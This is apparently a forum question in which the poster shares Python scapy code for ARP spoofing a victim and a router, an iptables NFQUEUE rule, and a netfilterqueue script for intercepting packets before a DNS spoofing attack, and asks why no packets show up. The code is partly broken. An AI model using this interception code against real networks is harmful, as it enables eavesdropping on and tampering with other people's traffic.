[Python] Packets are not being processed with netfilterqueue in kali linux

I am trying to run a DNS Attack using scapy and netfilterqueue.

I have created a script that allows me to run the man in the middle attack. I simply send 2 packets to a computer and a router the false IP's and the mac addresses. Here is the script :

In sniffer.py :

import scapy.all as scapy
from scanner import scan

#NOTE: The scanner module takes in an IP Address and finds the
#corresponding Mac Address for it.

def spoof(target_ip, spoof_ip, mac_address) :
packet = scapy.ARP(op = 2, pdst = target_ip, hwdst=mac_address,psrc=spoof_ip)
scapy.send(packet, verbose = False)

router_mac_address = scan(<victim's_ip>)
target_mac_address = scan(<router's_ip>)

while True :
spoof(<victim's_ip>, <router's_ip>, target_mac_address)
spoof(<router's_ip>, <victim's_ip>, router_mac_address)
time.sleep(2)


I have also created a net_cut.py file that will capture the packets in a queue and read them to me so that I can modify them. I have created a queue with num = 0 by typing iptables -I FORWARD -j NFQUEUE --queue-num 0 in the terminal emulator.

In net_cut.py:

import netfilterqueue

def process_packet() :
print(packet)
queue=netfilterqueue.NetfilterQueue()
queue.bind(0, process_packet)
queue.run()


The problem arises when I try running both of these scripts at the same time. Please note that I am using the terminator, not the normal terminal that comes preinstalled on kali linux.

When I run these scripts at the same time, the print() statement does not run, so I am quite sure that the program is not reading the packets. In fact, nothing gets outputted in the terminal. The same thing happens when I try sniffing the packets - nothing is outputted, even when I am accessing HTTP websites rather than HTTPS websites.

I am not sure what I am doing wrong. Am I not creating the queues correctly? Or is there a problem with my spoofer.py file?

Thank you for any helps or tips you can give.

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